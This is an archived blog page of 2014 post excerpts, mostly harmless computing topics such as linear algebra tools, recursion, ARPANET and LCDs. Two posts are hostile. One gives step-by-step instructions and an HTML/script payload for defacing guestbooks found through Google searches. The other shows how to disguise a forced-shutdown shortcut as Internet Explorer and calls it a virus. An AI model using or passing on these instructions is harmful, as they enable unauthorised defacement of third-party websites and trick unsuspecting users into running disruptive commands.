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Showing posts from September, 2014

Liner Algebra Complete Toolkit

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This Linear Algebra Toolkit is composed of the modules listed below. Each module is designed to help a linear algebra student learn and practice a basic linear algebra procedure , such as Gauss-Jordan reduction , calculating the determinant, or checking for linear independence. ===================================================== One of the most Important Tool used for solving Matrix and Matrix operations : "Matrix Calculator" 1  Click Here -                              2  Click Here -                    3   Click Here - ===================================================== Systems of linear equations and matrices Row operation calculator Interactively perform a sequence of elementary row operations on the given m x n matrix A. Transforming a matrix to row echelon form Find a matrix in row echelon form that is row equivalent to the given m...

Special and Rare Facebook Symbols.

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Special and rare Facebook symbols. Besides  basic Facebook symbols  that can be used as part of Facebook, there is also special Facebook symbols and cool symbols that can be useful to express complex symbol without typing it. You can also use these symbols on twitter, Google plus + or  wherever you want. To use, you must copy (Ctrl+C) and paste (Ctrl+V)  these symbols in your status messages, comments, wall post, etc. - - - - - - - - - - - - - - - - - - - - - - - - - - - Complete list of special and rare  Facebook  symbols: Special faces  :    ㋡   ㋛ ツ 【ツ】 Heart symbols on  Facebook :  ❤ ❥ ♡ ♥ ღ ɞ  Facebook Flowers Symbol: ❀ ✿ ❁ ✾ ✽ ❃ ❋ Facebook Butterfly Symbols: Butterfly symbol  01:  Ƹ̴Ӂ̴Ʒ Butterfly symbol 02 :  ƸӜƷ   Butterfly style 03 :  εїз   Facebook Music Symbols: ♪ ♫ ♩ ♬ ♭ ♮ ♯ Stars  Facebook  symbols ★ ✩ ✮ ✯ ✰  ☆ ⋆  ╰☆╮ ✡  ۞     Snowflake  symbo...

Data Structure Programs

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"All Data Structure Programs up-till now"  To get code click on that program heading :) How to add two matrix size is define by use Recursion in c programming Insertion and Deletion in array at any Point size define by user C++ program to find Fibonacci sequence of any number Program to print your name 10 time using Recursion Program to print counting 1 t0 10 using Recursion Program to find Factorial of any number given by user Program to print counting 10 to 1 using Recursion ----------------------------------------------------------------

Recursion

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Recursion is the process a procedure goes through when one of the steps of the procedure involves invoking the procedure itself. A procedure that goes through recursion is said to be 'recursive'. To understand recursion, one must recognize the distinction between a procedure and the running of a procedure. A procedure is a set of steps based on a set of rules. The running of a procedure involves actually following the rules and performing the steps. An analogy: a procedure is like a written recipe; running a procedure is like actually preparing the meal. Recursion is related to, but not the same as, a reference within the specification of a procedure to the execution of some other procedure. For instance, a recipe might refer to cooking vegetables, which is another procedure that in turn requires heating water, and so forth. However, a recursive procedure is where (at least) one of its steps calls for a new instance of the very same procedure, like a sourdough recipe calling f...

Abstract data types

What is an abstract data type? An abstract data type ( ADT ) is an object with a generic description independent of implementation details. This description includes a specification of the components from which the object is made and also the behavioral details of the object. Instances of abstract objects include mathematical objects (like numbers, polynomials, integrals, vectors), physical objects (like pulleys, floating bodies, missiles), animate objects (dogs, Pterodactyls, Indians) and objects (like poverty, honesty, inflation) that are abstract even in the natural language sense. You do not see C in Pterodactyls. Only when you want to simulate a flying Pterodactyl, you would think of using a graphics package in tandem with a computer language. Similarly, inflation is an abstract concept. When you want to model it and want to predict it for the next 10 years, you would think of writing an extrapolation program in C. Specifying only the components of an object does not suffice. Depe...

ARPANET

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Short for  Advanced Research Projects Agency Network ,  ARPANET  or  ARPAnet  began development in 1966 by the United States ARPA. ARPANET was a Wide Area Network linking many Universities and research centers, was first to use packet switching, and was the beginning of what we consider the Internet today. Some of the reasons for creating ARPANET include making it easier for people to access computers, to improve computer equipment, and to have a more effective communication method for the military. ARPANET first came into existence when the first two nodes were established between UCLA and Stanford Research Institute (SRI) in 1969 followed shortly thereafter by UCSB and the University of Utah. In the picture below is an example of what ARPANET looked like in March 1977, click the image to see a larger view of the image. ARPANET completed its transition to TCP/IP on January 2, 1983, was later replaced by...

Liquid-crystal display

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A  liquid-crystal display  ( LCD ) is a flat panel display, electronic visual display, or video display that uses the light modulating properties of liquid crystals. Liquid crystals do not emit light directly. LCDs are available to display arbitrary images (as in a general-purpose computer display) or fixed images which can be displayed or hidden, such as preset words, digits, and 7-segment displays as in a  digital clock . They use the same basic technology, except that arbitrary images are made up of a large number of smallpixels, while other displays have larger elements. LCDs are used in a wide range of applications including computer monitors,televisions,  instrument panels ,  aircraft cockpit displays , and signage. They are common in consumer devices such as video players, gaming devices,  clocks , watches ,  calculators , and  telephones , and have replaced  cathode ray tube  (CRT) displays...

3rd Semester E-Books

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To download any book just click on download button and pdf file is open in new tab.. right click on it and save as pdf. :)   Data Structures and Algorithms in C++  [ Second Edition ]  by  Michael T. Goodrich -------------------------------------------------------------------------------    Fundamental of Database System  [ 5th edition ]  [solution]  by elmasri and navathe -------------------------------------------------------------------------------    Fundamental of Database System  [ 3rd edition ]   by elmasri and navathe -------------------------------------------------------------------------------     Fundamental of Database System  [ 6th edition ]   by elmasri and navathe ------------------------------------------------------------------------------- Fundamental of Database System   [ 4th edition ]   by elmasri and navathe ------------------------------------------------------...

How to change your folders background

Step 1: Have the Folder you want to put the background on open! Step 2: Open up Notepad, then simply paste in this code: [{BE098140-A513-11D0-A3A4-00C04FD706EC}] iconarea_image=***Picture Location Here!***\***Name of File!*** Step 3: Go to ur picture (the picture you want to use!) and right click and select properties and find the file location for example lets say my file is in "my hardrive" it would be located at "C:\\" understand? copy the location! Step 4: Now go back to ur text document (notepad) and where it says ***Picture Location Here!*** paste the location...u copied in the previus step! Step 5: Now after u've done that where it says ***Name of File!*** type the name of the file including the .jpg .bmp .bip. jpeg etc Step 6: Save the text document as "desktop.ini" be sure to remember the .ini extension! click Save as "All Files" not "Text Document" and save the document in the folder where u want the background to be! Now ...

How To ''Deface'' A Guestbook With HTML-Injection

Go to google and search: guestbook.asp When you find a guestbook, send in this as a comment: < --- Inizio codice --- > <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <BODY bgColor=#000000>. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hacked By Your_nick</title> <script>alert("Hacked By Your_nick - Italian Hackers")</script> <style type="text/css"> <!-- .style1 { font-size: 36px; font-family: Arial, Helvetica, sans-serif; color: #00FF00; } .style2 {font-size: 18px; font-family: Arial, Helvetica, sans-serif; color: #ffffff; } .style3 {font-size: 36px; font-family: Arial, Helvetica, sans-serif; color: #000000; font-weight: bold; } --> </style> </head> <body> <center><p class="style1"><img src="http://www.bay...

Shut Down PC million Times !!!!!

Shut Down PC million Times !!!!! 1.right click on the desktop 2.click shortcut you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown, u can put any number u want... 3.u will get another dialogue box, write in it: Internet Explorer and press finish 4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok try to open it, it is a virus hehe PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a